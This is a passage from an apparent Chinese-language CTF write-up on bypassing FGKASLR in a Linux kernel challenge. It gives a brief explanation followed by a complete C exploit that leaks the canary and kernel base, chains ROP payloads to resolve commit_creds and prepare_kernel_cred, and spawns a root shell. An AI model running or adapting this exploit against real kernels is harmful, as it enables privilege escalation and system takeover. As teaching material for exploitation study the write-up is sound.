rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)leak_commit_creds; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } void leak_commit_creds() { __asm( ".intel_syntax noprefix;" "mov commit_creds_offset, eax;" ".att_syntax;" ); printf("commit_cred_offset:0x%x\n", commit_creds_offset); commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset; printf("commit_cred:0x%lx\n", commit_creds); jmp_leak_prepare_kernel_cred(); } ... 在调用为prepare_kernel_cred后需要将rax寄存器的值传递给rdi寄存器中,因为需要作为commit_creds函数的参数。但是在.text中找了很久都没有合适的gadget,那么还是同样采用内联汇编,将rax寄存器的值读取出,再传递给commit_creds函数即可。这里又需要特别注意,最好不要使用太多的全局变量存储,否则会覆盖一开始保存的user_cs,user_rflags,user_sp,user_ss的变量值。因此在payload中我特定将这几个变量初始化的特定的值,使得这几个变量存储在.data段防止被其它的值覆盖。 因此针对FGKASLR保护的绕过,实际是利用FGKASLR特点,只在特定的区域中选取适合的gadget,从而将FGKASLR弱化为KASLR,进而继续利用。 exp #include <stdio.h> #include <fcntl.h> /* 0xffffffff81006370: pop rdi; ret; -- [0x6370] 0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [0x200f10] 0xffffffff81004d11: pop rax; ret; [0x4d11] 0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f] 0xffffffff81f87d90 r __ksymtab_commit_creds [0xf87d90] 0xffffffff81f8d4fc r __ksymtab_prepare_kernel_cred [0xf8d4fc] */ //iretq RIP|CS|RFLAGS|SP|SS #define MAX 1 int fd; unsigned long user_cs = MAX,user_rflags = MAX,user_sp = MAX,user_ss = MAX; unsigned long image_base; unsigned long commit_creds; unsigned long prepare_kernel_cred; unsigned long canary; int prepare_kernel_cred_offset; int commit_creds_offset; unsigned long cred; void save_state(); void backdoor(); void leak_commit_creds(); void leak_prepare_kernel_cred(); void get_cred(); void jmp_get_cred(); void jmp_leak_prepare_kernel_cred(); void jmp_get_cred(); void jmp_back_door(); void start(); void save_state() { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***"); } void backdoor() { puts("***getshell***"); system("/bin/sh"); } void start() { unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = image_base +  0x4d11; //pop_rax_ret payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret; payload[index++] = 0; payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)leak_commit_creds; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } void leak_commit_creds() { __asm( ".intel_syntax noprefix;" "mov commit_creds_offset, eax;" ".att_syntax;" ); printf("commit_cred_offset:0x%x\n", commit_creds_offset); commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset; printf("commit_cred:0x%lx\n", commit_creds); jmp_leak_prepare_kernel_cred(); } void jmp_leak_prepare_kernel_cred() { unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = image_base +  0x4d11; //pop_rax_ret payload[index++] = image_base + 0xf8d4fc; //__ksymtab_prepare_kernel_cred payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret; payload[index++] = 0; payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)leak_prepare_kernel_cred; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } void leak_prepare_kernel_cred() { __asm( ".intel_syntax noprefix;" "mov prepare_kernel_cred_offset, rax;" ".att_syntax;" ); printf("prepare_kernel_cred_offset:0x%x\n", prepare_kernel_cred_offset); prepare_kernel_cred = image_base + 0xf8d4fc + (int)prepare_kernel_cred_offset; printf("prepare_kernel_cred:0x%lx\n", prepare_kernel_cred); printf("jmp get cred\n"); jmp_get_cred(); } void jmp_get_cred() { unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = image_base +  0x6370; //pop_rdi_ret payload[index++] = 0; payload[index++] = prepare_kernel_cred; // prepare_kernel_cred payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)get_cred; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } void get_cred() { __asm( ".intel_syntax noprefix;" "mov cred, rax;" ".att_syntax;" ); printf("cred:0x%lx\n", cred); jmp_back_door(); } void jmp_back_door() { unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = image_base +  0x6370; //pop_rdi_ret payload[index++] = cred; //cred payload[index++] = commit_creds; // commit_creds payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } int main() { save_state(); fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 40 * 8); for(int i = 0; i < 40; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); canary = buf[2]; unsigned long leak_addr = buf[38]; printf("leak addr:0x%lx\n", leak_addr); image_base = leak_addr - 0xa157; printf("ImageBase:0x%lx\n", image_base); start(); }